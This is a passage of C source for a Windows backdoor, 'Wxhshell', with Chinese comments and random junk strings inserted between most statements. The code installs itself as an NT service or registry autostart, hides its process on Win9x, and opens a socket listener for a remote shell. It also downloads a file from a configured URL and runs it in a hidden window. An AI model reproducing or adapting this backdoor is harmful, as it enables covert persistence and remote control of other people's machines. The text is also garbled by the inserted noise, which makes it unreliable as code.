procName[255]; 0H>Fyl2_ unsigned long cbNeeded; 7_K(xmK 8W$="s2 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !r
LHPg ~HYP:6f CloseHandle(hProcess); rqF PUp PzV(e)~7 if(strstr(procName,"services")) return 1; // 以服务启动 p +T&9 D~?kvyJ return 0; // 注册表启动 P);Xke } )K?GAj]Pq ! 4oIx` // 主模块 M`>W'< int StartWxhshell(LPSTR lpCmdLine) M:I,j { F}AbA pTv SOCKET wsl; =d5!O~}r> BOOL val=TRUE; W^Rb~b^? int port=0; J.nVEqLZ struct sockaddr_in door; ?s?uoZ /2 QE #$bCw if(wscfg.ws_autoins) Install(); =TP>Y" \
yOZ&qU port=atoi(lpCmdLine); 4O`h%`M z5vryhX_Z if(port<=0) port=wscfg.ws_port; EmUxM_T/2 7q^/.:wlf WSADATA data; ?+|tPjg$ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Bjo& 0ay!tS
dN if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; b?Jm) setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -$0S#/)Z door.sin_family = AF_INET; (mD]}{> door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?Tl@e door.sin_port = htons(port); xw-q)u &*yve}su if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { s Y6'y'a95 closesocket(wsl); 5rWRE- return 1; )m'_>-`^: } P\AH9#XL ZF
t^q/pw if(listen(wsl,2) == INVALID_SOCKET) { ..T(9]h closesocket(wsl); |X.z|wKT6 return 1; r{TNPa6! } x$Oz0 [ Wxhshell(wsl); )KuvG:+9W WSACleanup(); f2u2Ns0Ym \\lC"Z#J` return 0; R:xmcUq}
( *Vc=]Z2G^ } Kje+Niz7 -J30g\ // 以NT服务方式启动 \k,bz0 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) M/DTD98'N { :3t])mL# DWORD status = 0; >ahj|pm DWORD specificError = 0xfffffff; j41:]6 z
K(5&u serviceStatus.dwServiceType = SERVICE_WIN32; NN:TT\!v serviceStatus.dwCurrentState = SERVICE_START_PENDING; ;MMFF { serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; </=PN1=A serviceStatus.dwWin32ExitCode = 0; L)+ eM&W serviceStatus.dwServiceSpecificExitCode = 0; U .Od serviceStatus.dwCheckPoint = 0; mTPj@F> serviceStatus.dwWaitHint = 0; l
xfdJNb #TWc` 8 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); nGbrWu]w if (hServiceStatusHandle==0) return; sy?>e*-{ ?c2TT
Q status = GetLastError(); B1M/5cr. if (status!=NO_ERROR) VM,ZEt3Vy { Za6oYM_z serviceStatus.dwCurrentState = SERVICE_STOPPED; Hj\~sR$L- serviceStatus.dwCheckPoint = 0; aOHCr>po, serviceStatus.dwWaitHint = 0; ul?BKV+3E serviceStatus.dwWin32ExitCode = status; qLP+@wbJ serviceStatus.dwServiceSpecificExitCode = specificError; =c,gK8C SetServiceStatus(hServiceStatusHandle, &serviceStatus); oB\Xl)A< return; V~_nyjrJM } PsgzDhRv K;qZc\q serviceStatus.dwCurrentState = SERVICE_RUNNING; 9C$!tz>>+i serviceStatus.dwCheckPoint = 0; j VZi_de serviceStatus.dwWaitHint = 0; )|{{}w~` if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *o[%?$8T } /wTf&_"mTL [86'/:L\2 // 处理NT服务事件,比如:启动、停止 (<l2 ^H VOID WINAPI NTServiceHandler(DWORD fdwControl) v'!Ntk { 3+-(;>>\ switch(fdwControl) Q]wM/7 { X*"Kg case SERVICE_CONTROL_STOP: nIjQLx serviceStatus.dwWin32ExitCode = 0; RF J ;hh serviceStatus.dwCurrentState = SERVICE_STOPPED; FZ9<Q serviceStatus.dwCheckPoint = 0; ^kr)U8 serviceStatus.dwWaitHint = 0; z6lz*%Yi { j;v%4G SetServiceStatus(hServiceStatusHandle, &serviceStatus); [hL1PWKs } !I[n|r " return; tD]&et case SERVICE_CONTROL_PAUSE: 32iI :u serviceStatus.dwCurrentState = SERVICE_PAUSED; JF*g!sV% break; f}X8|GlBo case SERVICE_CONTROL_CONTINUE: m-8 9nOls serviceStatus.dwCurrentState = SERVICE_RUNNING; 6p"c^ break; xp&!Cl>C3\ case SERVICE_CONTROL_INTERROGATE: S=}~I break; 9oP{Al }; DQ\&5ytP SetServiceStatus(hServiceStatusHandle, &serviceStatus); yj~"C$s } EaD@clJS =%\6}xPEl< // 标准应用程序主函数 pxxFm~"d int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) qDM[7q3. { +q/h:q.TV Qu,k // 获取操作系统版本 2&0<$> OsIsNt=GetOsVer(); *Zi%Q[0Me GetModuleFileName(NULL,ExeFile,MAX_PATH); p'uz2/g -o_TC // 从命令行安装 tb0E?&M if(strpbrk(lpCmdLine,"iI")) Install(); CFm1c1%Hg HY4E // 下载执行文件 Pp_3 nyQ if(wscfg.ws_downexe) { nb_^3K]r if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2<G1'7) WinExec(wscfg.ws_filenam,SW_HIDE); q|X4[E|{Q } C94@YWs nV3
7`
I if(!OsIsNt) { Tr0V6TS7 // 如果时win9x,隐藏进程并且设置为注册表启动 A_Iu*pz^^ HideProc(); 9S%gVNxn StartWxhshell(lpCmdLine); Mlw9#H6 } 8 tygs else 'd^gRH<z if(StartFromService())
9JV
3 // 以服务方式启动 em[F| StartServiceCtrlDispatcher(DispatchTable); "O[76}I+.q else ^<\} Y // 普通方式启动 !t
Oky StartWxhshell(lpCmdLine); ky[Xf -9# .crM!{<Y return 0; dB+GTq=6f }
|